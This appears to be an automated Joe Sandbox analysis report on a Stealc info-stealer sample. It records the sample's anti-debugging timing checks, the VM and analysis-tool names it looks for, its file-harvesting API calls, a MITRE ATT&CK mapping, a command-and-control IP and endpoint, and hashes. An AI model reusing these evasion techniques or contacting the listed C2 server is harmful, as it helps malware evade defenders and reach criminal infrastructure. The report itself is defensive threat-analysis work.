Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46B40 second address: D46B44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46E3C second address: D46E40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46FC0 second address: D46FC5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46FC5 second address: D46FCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47503 second address: D47507 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47507 second address: D4750D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4763D second address: D47643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47643 second address: D4767B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F885CB97C9Ah 0x0000000a pop esi 0x0000000b push ebx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jl 00007F885CB97C96h 0x00000015 push esi 0x00000016 pop esi 0x00000017 jmp 00007F885CB97CA8h 0x0000001c popad 0x0000001d push ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D477B7 second address: D477BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4922B second address: D49231 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BB8B second address: D4BB8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BB8F second address: D4BB95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BE5A second address: D4BE68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CC8701Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BE68 second address: D4BE6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BED1 second address: D4BEE8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F885CC87018h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 jc 00007F885CC87016h 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BEE8 second address: D4BF04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F885CB97CA7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50802EC second address: 50802F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50802F0 second address: 50802F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50802F6 second address: 508032D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, FF63h 0x00000007 mov edx, esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e mov bh, 39h 0x00000010 call 00007F885CC8701Ch 0x00000015 pop edx 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F885CC8701Ch 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 movsx edi, ax 0x00000025 movzx esi, bx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7378F second address: C737A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CB97CA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AC1F4F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CECB09 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008738B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_008738B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00874910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00874910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0086DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0086E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0086ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00874570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00874570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086F68A FindFirstFileA,	0_2_0086F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00873EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00873EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0086F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008616D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008616D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0086DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0086BE70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00861160 GetSystemInfo,ExitProcess,

0_2_00861160

Source: file.exe, file.exe, 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2091709653.0000000001193000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: file.exe, 00000000.00000002.2091709653.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWr
Source: file.exe, 00000000.00000002.2091709653.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2091709653.000000000114E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13645
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13648
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13659
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13699
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13667

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008645C0 VirtualProtect ?,00000004,00000100,00000000

0_2_008645C0

Source: C:\Users\user\Desktop\file.exe

0_2_00879860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00879750 mov eax, dword ptr fs:[00000030h]

0_2_00879750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008778E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_008778E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3448, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00879600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00879600

Source: file.exe, file.exe, 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: ok=Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00877B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00877980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00877980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00877850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00877850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00877A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00877A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2050826095.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2091709653.000000000114E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3448, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2050826095.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2091709653.000000000114E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3448, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37I	file.exe, 00000000.00000002.2091709653.000000000114E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/5	file.exe, 00000000.00000002.2091709653.00000000011A8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.2091709653.0000000001193000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2091709653.000000000114E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpI	file.exe, 00000000.00000002.2091709653.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1531601
Start date and time:	2024-10-11 12:43:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 89
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	nU3dGuezsg.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	nU3dGuezsg.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.951280109490687
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'829'376 bytes
MD5:	adde8b6ddcd55de3dde9f4ee627cc469
SHA1:	880f68fbfe3320a5aa1114ce977b7ea532d1be11
SHA256:	069c5ce1632725647ebe8ee55088da4f22f79f8d8922a72f70c35a87bbbc9764
SHA512:	36f6678447ee2f204c8d15e1f9d568e5a47643bd60465fabb8cac43bc769474d8c44f94c73c08379fa34da45d46205984a1b602a0a5454518d97ff96ba172e86
SSDEEP:	49152:e0Rp0/PavD8jJqF4Gg2uF09XyqrnlXgR:eKpaPavD8jcF4GFyqRXgR
TLSH:	C88533288F6105A5CD5A44F526E3F65EC48E5CC8DAFC0B1B2BA95EBC464B30F321716B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa93000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F885CB16ACAh
bswap eax
sbb eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F885CB18AC5h
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
push edi
dec eax
dec eax
jbe 00007F885CB16B32h
push esi
dec edx
popad
je 00007F885CB16B2Bh
push edx
dec esi
jc 00007F885CB16B3Ah
cmp byte ptr [ebx], dh
push edx
jns 00007F885CB16B07h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007F885CB16B0Dh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007F885CB16B17h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007F885CB16B0Ch
dec eax
dec ebp
jo 00007F885CB16B03h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007F885CB16B10h
insd
jnc 00007F885CB16B30h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007F885CB16B18h
push edx
insb
js 00007F885CB16B31h
outsb
inc ecx
jno 00007F885CB16B12h
push ebp
inc esi
pop edx
xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007F885CB16B0Ch
dec ebx
js 00007F885CB16B03h
jne 00007F885CB16AF1h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007F885CB16B1Ch
dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007F885CB16AFAh
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007F885CB16B33h

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	ce336758aeee58d29e8cbd50a4cd7d7d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29b000	0x200	7f9c0cbc5d28ebb962323fcf823ce965	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tggnfgne	0x4f9000	0x199000	0x198800	d58ed3f9bbf0cb520ae8049da3e3c1c2	False	0.9947980416156671	data	7.953565165226687	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
